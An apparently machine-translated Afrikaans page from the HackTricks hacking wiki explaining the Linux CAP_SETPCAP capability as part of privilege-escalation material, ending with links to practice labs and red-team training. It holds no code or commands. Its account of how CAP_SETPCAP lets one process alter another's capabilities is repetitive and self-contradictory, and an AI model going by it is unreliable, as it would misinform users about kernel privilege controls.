CAP_SETPCAP stel ’n proses in staat om die vermoĂ«nsstelle van ’n ander proses te verander, wat die toevoeging of verwydering van vermoĂ«ns uit die effektiewe, erfbare, en toegelate stelle moontlik maak. ’n Proses kan egter slegs vermoĂ«ns wat dit in sy eie toegelate stel het, verander, wat verseker dat dit nie die voorregte van ’n ander proses bo sy eie kan verhoog nie. Onlangs het kernopdaterings hierdie reĂ«ls verskerp, wat CAP_SETPCAP beperk tot slegs die vermindering van die vermoĂ«ns binne sy eie of sy afstammelinge se toegelate stelle, met die doel om sekuriteitsrisiko’s te verminder. Gebruik vereis dat CAP_SETPCAP in die effektiewe stel en die teikenvermoĂ«ns in die toegelate stel is, met capset() vir wysigings. Dit som die kernfunksie en beperkings van CAP_SETPCAP op, wat sy rol in voorregbestuur en sekuriteitsverbetering beklemtoon.

CAP_SETPCAP is ’n Linux vermoĂ« wat ’n proses toelaat om die vermoĂ«nsstelle van ’n ander proses te verander. Dit bied die vermoĂ« om vermoĂ«ns by te voeg of te verwyder uit die effektiewe, erfbare, en toegelate vermoĂ«nsstelle van ander prosesse. Daar is egter sekere beperkings op hoe hierdie vermoĂ« gebruik kan word.

’n Proses met CAP_SETPCAP kan slegs vermoĂ«ns toeken of verwyder wat in sy eie toegelate vermoĂ«nsstel is. Met ander woorde, ’n proses kan nie ’n vermoĂ« aan ’n ander proses toeken as dit nie daardie vermoĂ« self het nie. Hierdie beperking voorkom dat ’n proses die voorregte van ’n ander proses bo sy eie vlak van voorreg verhoog.

Boonop is die CAP_SETPCAP vermoĂ« in onlangse kernweergawe verder beperk. Dit laat nie meer ’n proses toe om arbitrĂȘr die vermoĂ«nsstelle van ander prosesse te verander nie. In plaas daarvan, laat dit slegs ’n proses toe om die vermoĂ«ns in sy eie toegelate vermoĂ«nsstel of die toegelate vermoĂ«nsstel van sy afstammelinge te verlaag. Hierdie verandering is bekendgestel om potensiĂ«le sekuriteitsrisiko’s wat met die vermoĂ« verband hou, te verminder.

Om CAP_SETPCAP effektief te gebruik, moet jy die vermoĂ« in jou effektiewe vermoĂ«nsstel hĂȘ en die teikenvermoĂ«ns in jou toegelate vermoĂ«nsstel. Jy kan dan die capset() stelselskakel gebruik om die vermoĂ«nsstelle van ander prosesse te verander.

In samevatting, CAP_SETPCAP stel ’n proses in staat om die vermoĂ«nsstelle van ander prosesse te verander, maar dit kan nie vermoĂ«ns toeken wat dit nie self het nie. Daarbenewens, weens sekuriteitskwessies, is die funksionaliteit in onlangse kernweergawe beperk om slegs die vermindering van vermoĂ«ns in sy eie toegelate vermoĂ«nsstel of die toegelate vermoĂ«nsstelle van sy afstammelinge toe te laat.

Verwysings

Die meeste van hierdie voorbeelde is geneem uit sommige laboratoriums van https://attackdefense.pentesteracademy.com/, so as jy hierdie privesc tegnieke wil oefen, beveel ek hierdie laboratoriums aan.

Ander verwysings:

​

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks